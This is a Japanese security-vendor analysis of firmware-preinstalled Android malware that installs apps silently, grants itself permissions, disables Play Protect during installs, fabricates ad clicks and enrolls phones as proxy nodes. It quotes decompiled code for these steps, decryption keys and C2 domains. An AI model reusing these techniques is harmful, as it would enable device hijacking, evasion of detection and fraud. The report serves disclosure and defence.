Bitdefenderのセキュリティ研究者は、MediaTekプラットフォームを採用した低価格のマルチブランドAndroid端末で動作するマルウェアキャンペーン(「Midnight Mimosa」と命名)を特定しました。
このマルウェアは端末のファームウェアにプリインストールされた状態で出荷されます。私たちは、端末ごとに異なる複数のシステムパッケージが関与していることを確認しました。所有者が初めて電源を入れる前から端末に存在しており、アンインストールもできません。
マルウェアはシステム権限で動作し、アプリの無断インストール・削除、権限の付与、リモートから供給される任意のコードの読み込みを行えます。つまり運営者は、思いのままにアプリを導入・削除して端末ごとに用途を調整でき、大規模なボットネットの一部に組み込むことも可能です。
このスキームは主に収益の獲得を狙ったものとみられます。運営者は広告詐欺とクリック詐欺を行い、端末情報やインストール済みアプリの情報を収集し、感染端末をレジデンシャルプロキシの中継ノードに変えてボットネットのゾンビ端末にしています。DDoS攻撃向けのボットネットへのアクセスは需要が高く、新たな収益源になります。ボットネットが大きいほど、請求できる金額も大きくなります。
不正なインプレッションやクリックを記録するのは、システムアプリ自体ではありません。収益エンジンとなっているのは、投下されるカバーアプリです。天気、アプリロック、メモ、OCRなど本物らしく見えるアプリで、正規の広告SDKを通じて本物の広告を読み込みます。目的は単純で、広告の表示を記録する不可視のウィンドウを他のアプリの上に重ねることです。
このシステムアプリ(com.android.system.lite)が最初に特定されましたが、氷山の一角にすぎませんでした。調査を進めると、同じマルウェアの中核部分が、システムを思わせる名前を次々に変えながら出荷されていることが判明しました。com.android.sys.prot、com.android.sys.gmsprot、com.android.sys.bcprotなどです。
それぞれビルドが異なり、署名証明書や名前まで異なるものもあります。問題はパッケージ名ではなく、その下にある共通の中核部分です。
さらに、このマルウェアを制御するのと同じサーバーと通信するアプリが、現在Google Playに13本存在することも確認しました。これらのアプリにはプリインストール版ほど悪質な動作を可能にする権限はありませんが、それでも危険です。
主な調査結果
- 感染チェーンの中核は、影響を受けるAndroid端末にプリインストールされた、プラットフォーム署名付きの常駐型システムアプリです。
- この実行役(エネーブラー)は、偽のAppLock、天気、ファイルマネージャー、アイコンツール、OCR、オーディオエディターなど、少なくとも32種類の固有の偽装アプリを入れ替えながら無断で展開します。
- ユーザー補助機能、通知へのアクセス、SMSの読み書きといった危険な権限を自ら付与します。実際に使われた形跡は確認していませんが、運営者はいつでも利用できます(任意のコードをリモートで読み込めるため)。また、ユーザー補助機能と通知へのアクセスは、付与と解除が短時間のうちに自動的かつ繰り返し行われていることも確認しました。
- このマルウェアは、ペイロードアプリをインストールする直前にGoogle Playストアアプリを無効化します(Play Protectによる検知を避ける狙いとみられます)。ペイロードの実行後に再び有効化します。さらに、ユーザーが端末を操作しているときにも再有効化する安全装置を備え、疑われるのを避けています。
- ペイロードは、隠れた広告詐欺や自動クリック詐欺を行うか、端末を大規模ボットネットの単なる一部に変えます。
- システムアプリとペイロード群は共通のインフラを使っています。天気APIを装ったコマンド&コントロールサービスもその一つです。
- エネーブラーは単一のパッケージではありません。同じ中核部分が、複数のビルドや署名証明書にまたがり、システムらしい名前で複数出荷されています。
- 同じ広告詐欺コードは、Google Playで公開されている13本のアプリにも見つかりました。少なくとも2つの開発者アカウントと13種類の署名証明書が使われています。
調査の発端は、Bitdefender Mobile Securityに搭載されている「App Anomaly Detection(アプリ異常検知)」技術が、com.android.system.liteにフラグを立てたことでした。このパッケージはコアシステムコンポーネントの名前と外観を備えながら、実際にはそれとは似ても似つかない動作をしていました。

モバイルセキュリティの多くは、いまだに「アプリをスキャンして問題がなければ安全」という単一の前提で動いています。2023年に導入されたBitdefenderのApp Anomaly Detectionが存在するのは、現実にはこの理屈がしばしば通用しないからです。
アプリは休眠状態を保ち、数週間後に牙をむくことがあります。特定の条件が満たされたときだけ悪意ある動作をする(標的型マルウェア)場合もあります。こうしたアプリは静的チェックをすべて通過したうえで、後からサーバーから本当のペイロードを取得したり、ネイティブコードから巧妙に展開したりします。
App Anomaly Detectionは、端末上でアプリの動作を継続的に監視することでこの隙を埋めます。端末上の機械学習、リアルタイムの挙動分析、その他のさまざまなシグナルを組み合わせる仕組みです。昨日クリーンに見えたかどうかには依存せず、挙動そのものに反応します。無害から悪意ある動作へ一線を越えた瞬間に、現行犯で捉えます。
決め手となったのは、このリアルタイムの挙動分析でした。このアプリはシステムアプリ(プラットフォーム署名付き)としてプリインストールされていました。アンインストールはできず、ストアの審査もなく、ユーザーが選んだものでもありません。端末の電源が入った時点で、ユーザー側の防御策はすべて回避済みでした。検知の手がかりは挙動だけだったのです。
そこからBitdefenderのインサイトにより、このアプリの動きが明らかになりました。同じ端末上で、システムアプリがペイロード群を無断でインストール・削除しながら入れ替えていたのです。その一つがcom.mobile.applock.wtで、アプリロックツールを名乗りながら、名前から想像される機能は備えていませんでした。
名前どおりに動作させるためのインターフェースもコードもなく、ユーザーからは完全に隠されていました。実際には、それ自体が高度に難読化されたドロッパー型マルウェアでしたが、感染の根本原因ではありませんでした。
この調査もまさにそこから始まりました。書類上は、com.android.system.liteに注意深く目を向けるべき点は見当たりませんでした。OSの一部を装ったプラットフォーム署名付きのコンポーネントで、アイコンも目に見える挙動もなく、実際の仕組みは実行時にだけ動き出すネイティブライブラリの中に隠れていたからです。
App Anomaly Detectionがcom.android.system.liteにフラグを立てたのは、Androidのコアコンポーネントを装っているのに、その挙動がコアコンポーネントらしくなかったためです。ユーザー補助機能や通知へのアクセスといった機微なアクセスを繰り返し有効化し、無関係のアプリを無断でインストール・削除していました。
こうした示唆に富む手がかりをたどって、研究者はマルウェアの出どころを突き止めました。ユーザーが削除できない、常駐型のプリインストールシステムアプリです。
システムコンポーネントとされていたこのアプリは、実際には隠れたペイロード群を入れ替えながら管理していました。その中には、広告詐欺や、端末をレジデンシャルプロキシのボットネットに登録するために使われる偽のAppLockアプリも含まれます。
同じ出どころは、さらに広範なペイロード群もインストールしていました。com.mobile.applock.en、com.dmstudio.weather、com.dl.guard.lock、appicon.diy.tools.prop、picturetranslate.extractor.text.liteなどです。
インサイトからは、これらのペイロードアプリが同じ端末上で繰り返しインストール・削除されていることがわかりました。この入れ替えにより、運営者はペイロードがアプリ一覧に表示される時間を短縮し、ハッシュを変え、有効な収益化モジュールを切り替えています。その間も、土台となるシステムコンポーネントは居座り続けます。
運営者に収益をもたらすだけではありません。端末はレジデンシャルプロキシの中継ノードにもなり得ます。つまりボットネットの一部となり、呼び出しがかかればDDoS攻撃の実行を助ける可能性があります。
ペイロード自体は新しいものではなく、このようなマルウェアの出荷手法も過去に詳しく報告されています。しかし今回の特定のキャンペーンは異なります。Shenzhen Zedielのものとされる証明書で署名されたファームウェアを搭載する端末で、エネーブラーのcom.android.system.liteが見つかりました。これが悪意あるアプリを配信しており、その一部はDr.Webが報告するAndroid.Phantomの運営者ファミリーのアプリに似ています。今回はそこにレジデンシャルプロキシウェアが加わっています。
確認できたのは、Shenzhen Zedielの名を持つ証明書が、影響を受けた端末のファームウェアの署名に使われていたことだけです。しかし、これらの証明書がどのような経緯で当該端末に入り込んだのか、また証明書の所有者がマルウェアの展開に関与していた、あるいは認識していたのかどうかは不明です。さらに、今回の調査で浮上した企業名はこれだけではありません。
マルウェアは端末とともに出荷されます。サプライチェーンのどの段階で組み込まれるのかは、わかっていません。ODM、ファームウェアのインテグレーター、物流パートナー、あるいは流通経路の下流にいる別の関係者が持ち込んだ可能性があります。マルウェアは端末が販売される前にROMへ入り込みますが、組み込みの責任を負う特定の当事者を割り出すには、今回の技術分析の範囲を超える情報が必要です。
しかも、このマルウェアが人々の端末に入り込む経路はこれだけではありません。本調査で示すとおり、Zediel署名のファームウェアを搭載していないにもかかわらず、同じマルウェアが出荷される端末は他にも無数にあります。
インターネット上には、極端に安価な、時には露骨な偽造品のAndroidスマートフォンがあふれています。これほど安く売るハードウェアの元を取る方法の一つが、後から稼ぐソフトウェアを仕込んでおくことです。

主要なマーケットプレイスで販売されている、フラッグシップ機の偽造品です。S24 Ultra、S25 Ultra、S26 Ultraといったモデル名は、低価格のMediaTek搭載ハードウェアが報告するモデル文字列として、私たちのインサイトにも現れます。
技術分析
中核となるアプリは非常に似通っているため、ここでは確認した悪意あるシステムアプリのうち1つだけを詳しく取り上げ、このエコシステムの仕組みを明らかにします。
問題のcom.android.system.liteは、Androidのシステムアプリとしてプリインストールされています。通常のアプリではありません。プラットフォーム用に署名されて出荷され、systemユーザーとして動作し、ユーザー操作なしにパッケージのインストール・削除や他のアプリへの権限付与を行う権限を持っています。
これらの機能は、自身のAPKコードには実装されていません。ネイティブライブラリ(libeasy.so)の中に隠されており、ロード時にRC4で復号して、難読化されたJavaフレームワークをsystem-uidのプロセスに投下します。
このフレームワークはC2(コマンド&コントロールサーバー)からリモート設定を取得します。続いて、実際の収益化ペイロードを担うステージ2・ステージ3のDEXプラグインをダウンロードして読み込みます。
- プロセス内広告詐欺:偽の広告インプレッション・クリックの生成(「wz」プラグイン)。
- パートナーアプリのsystem-uidとしての無断インストール・アンインストール(「earn」/「gogo.third」プラグイン)と、無断での権限付与。
- 投下されるパートナーアプリは、それ自体が既知のドロッパーです。TCPプロキシウェア/ボットネット(applock.en)と、広告詐欺+RCEドロッパー(applock.wt)です。
インサイトにより、一つのエネーブラーがこれらのパートナーアプリのポートフォリオを入れ替えながら、実際の端末に無断でインストールしていることが確認されました。エネーブラーは、このスキーム全体の端末上の根幹です。

システムアプリ(エネーブラー)
エネーブラーアプリは、プラットフォーム署名付きの常駐型コアシステムコンポーネントで、一連の特権権限を宣言しています。以降のすべての土台となる部分です。これらの権限を保持できるのは、プラットフォーム署名付きのsystem-uidアプリだけです。
package: com.android.system.lite versionCode=900000 label="System"
<manifest ... sharedUserId="android.uid.system" coreApp=true>
<application android:persistent="true" ...>
uses-permission: android.permission.INSTALL_PACKAGES
uses-permission: android.permission.DELETE_PACKAGES
uses-permission: android.permission.GRANT_RUNTIME_PERMISSIONS
uses-permission: android.permission.WRITE_SECURE_SETTINGS
uses-permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
エネーブラーのAndroidManifest.xml(aapt2 dump)。sharedUserId=android.uid.system + coreApp + persistent は、ファームウェアのシステムコンポーネントであることを示します。特権権限により、無断のインストール・アンインストールと無断の権限付与が可能になります。
アプリのラベルは汎用的な「System」で、アイコンは隠されています。ランチャーには表示されず、正規のOSコンポーネントと見分けがつきません。自身のAPKのdex(com.gogo.bb.sdk / Monitor*サービス)は薄いホストシェルにすぎず、危険なロジックは同梱のネイティブライブラリに潜んでいます。
確認された範囲を超える能力
マニフェストは、アプリのインストールとは無関係なアクセスも要求しています。インストール権限と権限付与権限に加えて、エネーブラーはユーザー補助サービス、通知へのアクセス、SMS権限を宣言しています。さらに注目すべきは、所有者に有効化を促すのではなく、ユーザー補助サービスと通知アクセスのサービスを自ら有効化する点です。
分析中に、どちらも実際に使われた形跡は確認していません。その点は留意すべきですが、軽視すべきでもありません。ユーザー補助サービスは、すべての画面の内容を読み取り、入力内容を観察し、所有者に代わってインターフェースを操作できます。Androidのバンキングトロイや遠隔操作型の詐欺で使われる標準的な仕組みです。
通知へのアクセスがあれば、チャットアプリを含むあらゆる通知を読み取れます。SMSへのアクセスがあれば、ワンタイムコードの読み取りや、プレミアム番号へのメッセージ送信ができます。これらの権限を握っているのは、アンインストールできず、しかもリモートサーバーからすでにコードを読み込んでいるコンポーネントです。そのサーバーの運営者の系譜には、プレミアムSMSの契約詐欺が含まれます。
この能力は実装済みで、自己有効化され、リモートから起動できます。それをどう使うかはC2側で運営者が決めることであり、私たちが分析したサンプル自体の性質ではありません。
libeasy.soはJNIメソッドを1つ(nativeInit)だけ登録しており、その本体は分岐トランポリンの裏に隠されています。初期化時にJavaの暗号ハンドルをキャッシュし、ライブラリに埋め込まれた142 KBのAPKをRC4で復号してディスクに書き出します。投下されるAPKが、特権フレームワークです。
JNI_OnLoad: FindClass("org/b/c/lib/MainLib"); RegisterNatives(off_69000, 1)
JNINativeMethod { name="nativeInit", signature="()I", fnPtr=0xF764 }
0xF764 nativeInit (registered ptr) -> b 0x115AC ; trampoline
0x115AC real nativeInit body -> "rz.init.done." + "20240425"
0x10910 init worker (guard @0x697F8, returns -101 if already init)
0x10940 crypto bootstrap (caches Cipher / SecretKeySpec / Base64 / String)
0x107C4 blob dropper -> RC4-decrypt blob@0x3949E (len 0x22D60) -> write APK
RC4 key = last 16 bytes of the blob; native string key = "rc4@sec[.]com"
libeasy.soのロードチェーン(IDAオフセット。ET_DYN、imagebase 0のためファイルオフセット=vaddr)。ファミリーのビルドタグ20240425は、nativeInit内で組み立てられます。
投下されるAPKはcn.kw.lib.hex(215クラス)で、文字列が難読化されたフレームワークです。文字列はAES-128-CFBで暗号化されています。
g.b(x) = base64-decode(x) -> AES/CFB/NoPadding decrypt
key = MD5("aGV4QCFRQFcjRQ==") (= "hex@!Q@W#E")
IV = "0102030405060708"
埋め込まれたフレームワークの文字列暗号。エネーブラー自身の文字列暗号(鍵「dHhAZXhAc2Vy」)と同じ構成であり、コードを共有している証拠です。
2つの特権プリミティブ(権限付与+RCE)
投下されるフレームワークは、APKのdexには存在しない、2つの強力な機能を実装しています。
任意のパッケージへの任意の権限付与:
// hex.c.b.a(ctx, pkg, perm) — reflected privileged grant
PackageManager.grantRuntimePermission(pkg, perm, UserHandle) // + getUserHandleForUid
// enumerates third-party targets and verifies the grant:
pm list package -3 ; checkPermission(perm, pkg)
権限付与プリミティブ(埋め込みdexの復号済み文字列:「grantRuntimePermission pkg:」「pm list package -3」)。対象で完全にパラメータ化されているため、自分自身だけでなく、あらゆる他のパッケージに権限を付与できます。
リモートDEX/JARの更新=リモートコード実行:
cn.kw.lib.dx.DxFactoryがdalvik.system.DexClassLoader経由で
kwlib.jar(+ kwlib.next)をダウンロード・更新します。MD5チェックとバージョン制御(isNeedUdx、lst_udx_tim)を備え、エンドポイントはハードコードではなくリモート設定(getNavigation)から取得されます。
RCEローダー。エンドポイントは実行時にC2設定から供給されます。
ステージ2/ステージ3プラグインと端末内プラグインストア
フレームワークはステージ2のホスト(kwlib.jar → cn.kw.lib.dx.DxFactory)を取得し、これが3つのステージ3プラグインを読み込みます。各プラグインは、files/plg/<id>/ 配下に、magic.o(拡張子.oを装ったJAR)と記述ファイルとしてキャッシュされます。
files/plg/<md5-id>/magic.o <- PK\x03\x04 (a ZIP/JAR, not a .o)
files/plg/<md5-id>/magic.o[.]info:
20311###magic###com.wz.sdk.DxFactory###magic###0bed0405...(md5 of jar)
###magic###1782294f...(iconDesc)###magic###^(wtd|com.wz.sdk|com.ads.cal|com.android.gem|...).+
プラグインの記述ファイル。バージョンとiconDescの値は、C2がgetConfigsで返した内容と完全に一致しており、プラグインストアがC2によって供給されていることがわかります。
| プラグイン(エントリクラス) | バージョン | 役割 |
|---|---|---|
com.wz.sdk.DxFactory |
20311 | 偽のクリックやインプレッションを含む、プロセス内広告詐欺 |
com.earnsdk.lib.DxFactory |
5 | パートナーアプリの無断インストール・削除(PPI) |
com.gogo.third.lib.DxFactory |
10014 | WebView機能を備えた無断インストーラー |
wzプラグインは、所有者が求めていない場面で広告を描画します。使う画面は2種類で、ユーザーが何も開いていないのに起動されるフルスクリーンのアクティビティと、すでに画面に表示されているものの上に描かれるオーバーレイウィンドウです。描画のきっかけは、ディスプレイの点灯といった画面状態の変化や、端末がアイドル状態のときに広告メッシュ経由で送り込まれるコマンドです。
この広告面にはセキュアフラグも設定されており、スクリーンショットや画面録画には映りません。本来このフラグは、銀行画面などの機密コンテンツをキャプチャから守るためのものです。ここでは逆の使われ方をしており、不正な広告面を所有者や端末の解析者が記録しにくくしています。
詐欺そのものは、リモート設定によってパラメータ化されています。Kotlinのフィールド名は平文のままです。
class RemoteConfig { // com.ads.cal.core.RemoteConfig (@Metadata field names)
int silentPercent; // % of ads to ‘click’ with NO user touch
int notClickPercent; // % of impressions to auto-convert
int notClickInterval; // min ms between fabricated clicks
int notClickTopRate, notClickBottomRate, notClickLeftRate, notClickRightRate; // fake touch placement
int livePercent, weight, priority; String mediaPkgName, adspotId; }
詐欺の「つまみ」。silentPercent / notClickPercentは、実際のタップなしにクリックを記録する確率です。notClick*Rateは、人間らしく見せるために、合成タッチをクリエイティブ上のどこに置くかを偏らせます。
プログラムによる(合成)クリック:ユーザーは関与しない
// wtd/p/n0.java:192 — code-driven click fired from a Runnable
public void onClick(View view) { b.this.h.performClick(); }
ランダムなターゲット+1日の上限+間隔スロットル(偽のトラフィックを自然に見せるためにペース配分):
// wtd/f/s.java r(Context)
int nextInt = random.nextInt(f.size()); // random ad target from C2 list
int l = e.l(); int d = e.d(); // today’s fabricated count / daily cap
if (l >= d) { B(3); return; } // cap reached -> stop
if (elapsedRealtime - this.h < e.c()) return; // interval not elapsed -> skip
w.post(this.i); // fire the interaction runnable
タップ → 宣伝対象アプリの無断ディープリンク起動:
// wtd/f/s.java t(MotionEvent) — an incidental tap becomes a click on the advertiser app
Intent intent = new Intent();
intent.putExtra("from", this.e.e()); // adspot id
intent.setPackage(this.g); // the promoted package
intent.addFlags(268435456);
wtd.e.h.g.startActivity(intent); // silently launches the target
サイレントフラグ付きの、時間ベースの自動「コンバージョン」報告(表示から60秒後、操作なし):
// wtd/f/e.java
if (nVar2.p().get() == p.b && elapsedRealtime - nVar2.h().get() >= 60000) {
f Q = Q(str, longValue, EnumC0017e.b, h0Var, false, z.v(str));
k0.l.s(a2, Q); // upload the (fabricated) interaction event
}
// wtd/f/c.java:251 — the upload carries an explicit ‘silent’ boolean
wtd.m.c.F(iVar.i(), iVar.d(), nVar.t(), nVar.p() /*silent*/, s1, s2, s3);
偽装の全体像:広告を描画 → performClick()/startActivityで偽のクリックを生成 → 60秒のタイマー後にsilent=trueで「コンバージョン」を自動報告 → silentPercent/notClickPercent/1日の上限で流量を調整。すべてのイベントはDotReporter経由でweatherlive.world/odborwer_dot/cmに送られます。
誰に課金されるのか
偽のクリックが収益になるのは、広告ネットワークが誰かに帰属させた場合だけです。帰属は広告SDKに従います。ネットワークは、自社のSDKと広告ユニット識別子を持つアプリに、インプレッションとクリックを計上します。広告SDKを持たない隠れたシステムコンポーネントが生むトラフィックは、どこにも帰属せず、誰にも支払いが生じません。
だからこのスキームにはカバーアプリが必要です。エネーブラーがインストールする天気、アプリロック、メモ、OCRのアプリは、正規の広告SDKを載せた一見ごく普通のアプリであり、広告ネットワークから見えるのはこれらです。wzプラグインがシステムプロセス内で動作することとも整合します。プラグインがロジック、タイミング、合成された操作を担い、広告ユニット、つまり支払いはカバーアプリに帰属します。
両者は広告メッシュ内でバインドされたピアです。各カバーアプリはMyDataServiceをcom.media.am.intent.action.BIND_SERVICEというアクションでエクスポートしており、コントローラーがそれらをバインドして、メッシュ越しに広告ペイロードとコマンド(initMediaApp、setAdData、transferData)を送り込みます。すべてのアプリが、同じweatherlive C2に同一の端末識別子を報告します。このため、あるアプリが別のアプリの描画・収益化するインプレッションやクリックを駆動できます。
スキーム全体の役割分担は次のとおりです。
- システムエネーブラー:パートナーアプリを無断でインストール・削除し、権限を付与し、インストールのたびにPlay Protectを無力化します。広告ユニットは持たず、課金もされません。
- ネイティブコアと隠しフレームワーク:特権フレームワークを復号・読み込みし、権限付与プリミティブとリモートコード更新チャネルを提供します。
- ステージ2・ステージ3プラグイン:C2から供給されるモジュールで、詐欺ロジックをプロセス内で実行し、無断インストールを行います。
- 投下されるカバーアプリ:収益エンジンであり、広告ネットワークが目にする唯一の部分です。
- アイコンなしのドロッパー:別系統の収益化手段で、プロキシウェアと第2の広告詐欺モジュールです。
- C2:モジュールの制御、詐欺の設定、偽装イベントの収集を担います。
無断インストールと権限ロンダリング
earn/gogoプラグインは、パートナーアプリを無断でインストールします。判断の入口とインストール処理はマルウェア自身のコードです。ホストがsystem-uidとしてINSTALL_PACKAGESを保持しているため、これが動作します。
// earndex.e.f.d(ctx, assets, pkg, version, str2) -> new com.earnsdk.lib.a(...).h()
// com.earnsdk.lib.a.h(): if needInstall ->
AppInstallHelper.c(ctx, assetManager, "mediaapp-release.apk", pkg, str3);
// AppInstallHelper.c -> earndex.h.c.a() copies the bundled APK out of assets -> earndex.h.f.g():
// earndex.h.c.l(context, pkg, path): PackageInstaller session (silent on system-uid)
SessionParams sp = new SessionParams(MODE_FULL_INSTALL);
int sid = pi.createSession(sp); Session s = pi.openSession(sid);
s.openWrite(...); s.commit(intentSender); // no user prompt
無断インストールの経路(com.earnsdk.lib.AppInstallHelper + earndex.h.c/f)。古いAndroid向けにレガシーのinstallPackage(Uri,…)リフレクションも存在しますが、Android 13ではPackageInstallerセッション経由の経路が有効です。
ホストプロセスがsystemユーザーとしてINSTALL_PACKAGESを保持しているため、createSession → openWrite → commit の一連の処理は、PackageInstallerの確認UIなしで完了し、インストール元のパッケージとしてはエネーブラーが記録されます。インストールのどの段階でも、ユーザーの操作は不要です。
権限ロンダリング:エネーブラーがアプリをインストールするため、通常のストアアプリでは決して保持できない権限も、無断で付与できます。投下される天気のカバーアプリは、署名レベル(特権)の開発用権限であるWRITE_SECURE_SETTINGSを宣言し、実際に使用しています。
// com.dmstudio.weather q6/c.java:17 (uses a permission a store app cannot obtain)
Settings.Global.putString(cr, "vdgtjy", {"data":<int>,"time":<millis>});
// grantable only because a GRANT_RUNTIME_PERMISSIONS holder granted it (development-flag perm):
// enabler/plugins: grantRuntimePermission pkg: ... authorize, grantRuntimePermissionFor6X
天気アプリでWRITE_SECURE_SETTINGSの書き込みが機能していることは、通常のインストールでは決して得られない特権付与を受けたことを示しており、system-uidのエネーブラーが付与したという見方と整合します。同じパッケージはGoogle Playでも公開されていますが、そのビルドにはこうした付与はありません。特権は、アプリ自体ではなく、アプリが端末に届いた経路に由来します。
システムアプリとの相互作用:投下されるカバーアプリは、広告メッシュ内でバインドされたピアです。MyDataService(アクション com.media.am.intent.action.BIND_SERVICE)をエクスポートしており、コントローラーがそれらをバインドして広告コマンド(initMediaApp/setAdData/transferData)を送り込みます。これらは同一のuuidと同じweatherlive C2を共有しています。
Play Protectの回避(無効化 → インストール → 再有効化)
プラグインは、インストール時のプロンプトを抑止するだけでなく、インストールの間Google Play Protectを無力化します。ホストのsystem-uidのシェルアクセスを使い、パートナーAPKをインストールする直前に「pm disable com.android.vending」(Play Protectの端末内スキャナーを擁するPlayストア)を実行します。そしてインストールの成功時・失敗時の両方のコールバックで「pm enable com.android.vending」を実行します。
悪意あるインストールは、Googleのスキャナーが停止している時間帯に行われます。3つのプラグインはすべて同一の方法で実装しています(難読化された文字列は、ここに示すコマンドに復号されます)。
// com.earnsdk.lib.AppInstallHelper.c() (also com.gogo.third / com.wz.sdk)
earndex.e.a.a(context, "com.android.vending"); // -> pm disable com.android.vending (before install)
f.g(context, pkg, apkPath); // silent PackageInstaller session
// install observer:
onSuccess -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending
onFailure -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending
// earndex.e.a (bldex.e.a / com.ads.cal.core in the other plugins)
a(ctx,p): f.e({ "pm disable " + p }); // ProcessBuilder
b(p): f.e({ "pm enable " + p }); // ProcessBuilder
3つのプラグインすべてで確認されたPlay Protectの回避(earn: earndex/e/a.java、gogo: bldex/e/a.java、wz: com/ads/cal/core/kt/ContextKtKt + GEMController)。難読化されたトークンは「pm disable 」「pm enable 」「com.android.vending」に復号されます。これは無断インストールそのものとは別の行為です。無断インストールはユーザーへの確認プロンプトを取り除き、com.android.vendingの無効化はリアルタイム検知を取り除きます。
偽造されたPlayの出自:なりすまされたインストーラーと、存在しないフロスティング
スキャナーを無効化すると、インストール中は隠せます。第2の手口は、アプリが自称する入手元を書き換えることで、インストール後もこれを隠します。
INSTALL_PACKAGESを保持する特権インストーラーは、PackageInstaller.SessionParamsを通じて、記録されるインストーラーパッケージを自ら設定できます。プラットフォームはこの値を検証せず、インストールするプロセスが宣言した内容がそのまま使われます。コーパスの一部ではcom.android.vendingが設定されており、端末はそのアプリがGoogle Play由来だと報告します。
この主張は検証で偽りと見破れます。実際にGoogle Playから配信されたアプリには、Playが適用する署名ブロック(フロスティング)が付いています。これはGoogleがサーバー側で追加する、APKがPlayを経由した証であり、Playの外では作成できません。インストーラーのフィールドがcom.android.vendingなのにフロスティングブロックがなければ、その出自は正当に得られたものではなく、偽造されたものです。
| MD5 | パッケージ | 記録されたインストーラー | Playフロスティング |
|---|---|---|---|
0903d7fd3e1d4a599a7eb3c5d356779b |
com.android.weiapps |
com.android.vending |
なし |
61aac6a98abd6dcff0dc41bb88159786 |
com.android.sys.dts |
com.android.vending |
なし |
250205ee4b8de59e60c745856f439608 |
com.android.non.szcz |
com.android.vending |
なし |
インストール元としてGoogle Playを記録しながら、Playの署名ブロックを持たないサンプル。3つとも投下されたペイロードではなく、エネーブラーファミリーのビルドです。
これは、通常のトリアージの近道を覆すものです。インストールのプロンプトを抑止すればユーザーが排除され、com.android.vendingを無効化すれば自動スキャナーが排除されます。インストーラー名を偽装すれば、そのどちらが行われたかを示すフォレンジック上の痕跡が消えます。このキャンペーンでは、インストーラーのフィールドだけではサンプルの帰属判断も無害の判定もできません。信頼できる確認方法は、フロスティングの有無です。
配信モデルとフィールドインサイト
パートナーAPKは、インストール時に別途取得されるわけではありません。実際には、ステージ3プラグインの中にassets/mediaapp-release.apkとして同梱されています。C2は、配信するプラグインのバージョンを制御することで、どのAPKを配信するかを制御します(getConfigsのバージョン → CDNのoss.showtimetool[.]comからプラグインを取得)。同梱されていた2つのパートナーAPKは、既知のスタンドアロン版ドロッパーのサンプルとバイト単位で一致しました。
| プラグイン | 同梱のmediaapp-release.apk |
MD5 | 既知のサンプル |
|---|---|---|---|
com.earnsdk.lib |
com.mobile.applock.en v6(「Locket」) |
08d231c6a5303e543eb60d4181f6a4ea |
プロキシウェア / EnLoaderLib |
com.gogo.third.lib |
com.mobile.applock.wt v17(「Locket」) |
4a171f62d1bab01827b06ae73d4caafa |
広告詐欺+RCE |
フィールドインサイトにより、実際の端末では、エネーブラーがポートフォリオ全体のインストール元パッケージであることが確認されています。アイコンなしのドロッパーと、機能するカバーアプリの両方が対象です。
| インストールされたパッケージ | MD5 | 端末数 |
|---|---|---|
com.mobile.applock.en |
08d231c6a5303e543eb60d4181f6a4ea |
199 |
com.mobile.applock.wt |
4a171f62d1bab01827b06ae73d4caafa |
199 |
picturetranslate.extractor.text.lite |
e250e5966c119a9098f7818fc6c080e5 |
182 |
appicon.diy.tools.prop |
3b20edff1125e146aa3d5153708b58f4 |
139 |
com.dl.guard.lock |
6739fe083cfa8dec9b4f989ccba0e99e |
120 |
com.dmstudio.weather |
542ab80429ec42e8643dc645f58b716c |
97 |
com.audify.editor.pro |
145b806282d247441751bb4957b71606 |
2 |
com.mb.applock.a02 |
ee70ec99121f4d7c8b5a883e5ab3a858 |
1 |
com.solide.filemanager.lte |
92390cacdd20d2ee5405093669e7302c |
1 |
com.android.system.liteによってインストールされたと記録されたパッケージ。アイコンなしのドロッパーと機能するカバーアプリの両方がエネーブラーによってインストールされています。パッケージごとに複数の異なるAPKバージョンがあるのは、同梱ペイロードのバージョンをC2が入れ替えていることを反映しています。
キャンペーンの規模
上の表は、調査した単一のエネーブラーがインストールしたポートフォリオを数えたものです。ファミリー全体で約2年の期間にわたって計測したところ、このキャンペーンは150を超える国・地域の数千台の固有端末で確認されました。
地理的な分布の上位はメキシコ、フランス、イタリアで、米国、ドイツ、ブラジル、スペインが続きます。上位の下には、アフリカ、東南アジア、中東にまたがるロングテールが広がっています。

このグラフには、この広がり方について注目すべき特徴が2つあります。突出した単一の国はなく、重心が西ヨーロッパと南北アメリカという2つの別々の地域に分かれています。
地域限定の流通チャネルは、このような姿にはなりません。通信キャリアや国内の小売店なら、支配的な市場が一つできるはずです。2つの重心とその後ろに続くロングテールは、国際的なオンラインマーケットプレイスを通じて流通するハードウェアの典型的な姿です。
このマルウェアを搭載する端末の種類についても、いくつかの詳細がわかっています。多くの端末は使用しているファームウェアだけで識別されており、安価な端末か、有名機種のクローンとみられます。
SamsungのGalaxyも同じように遠慮なく模倣されており、本物の端末なら絶対に報告しない自由記述の「S25 Ultra」「S24 Ultra」「Note 18 Ultra」といった文字列が見られます。このキャンペーンは実在の型番さえ偽装します。Galaxy S25 Ultraの正規らしく見えるユーザーエージェント文字列「SM-S938B」が、Samsung製ではない端末に現れているのです。
HonorのMagic 15 MAXや、無名の「Ultra」端末も加わり、パターンは出そろいます。安価なスマートフォンを売るためなら、どんなブランド名でも使われて同じファームウェアが出荷されます。このため、モデル欄は偽装の指標であり、実際の端末インベントリではありません。
一方、出荷量が最も多い2つのモデルは、実在する名の通ったブランドのものです。「S200 X」はDoogee、「KINGKONG X」はCubotに関連しています。これらのブランド名は、XDAフォーラムに記録された、公に報告されたファームウェア更新のインシデントにも登場しており、サプライチェーンの一部のセグメントに、より広範なパターンがあることを示唆している可能性があります。
この公開報告はXDAフォーラムで確認できます。所有者らが、削除しても新しい名前で再び現れる隠しパッケージcom.android.sys.*を突き止めており、このファミリーで見られる自己更新の挙動と同じです。

プロキシウェアボットネット(com.mobile.applock.en)
earnプラグインに同梱されているパートナーアプリ(com.mobile.applock.en、ラベルは「Locket」、アイコンなしの偽アプリロック)は、単一目的のTCPバックコネクトプロキシです。
端末を、遠隔操作される中継ノードとして登録します。宣言する権限はINTERNETとACCESS_NETWORK_STATEだけで、広告もUIも動的コード読み込みもありません。ローダーは自らを「EnLoaderLib」v1.0.6と名乗ります。ノードのライフサイクル全体(登録、コマンド、トンネル、中継)は、4つのコード箇所で実装されています。
登録:各端末がノードとしてC2に登録されます。
// h/i.java
String uuid = new h(i.this.m).a().toString(); // per-device UUID
jSONObject.put("os", "android");
jSONObject.put("uuid", this.l); // node id
jSONObject.put("is", this.f192e); // product/campaign id
jSONObject.put("v", "v1.0.6"); // EnLoaderLib version
jSONObject.put("inf", a2); // device fingerprint
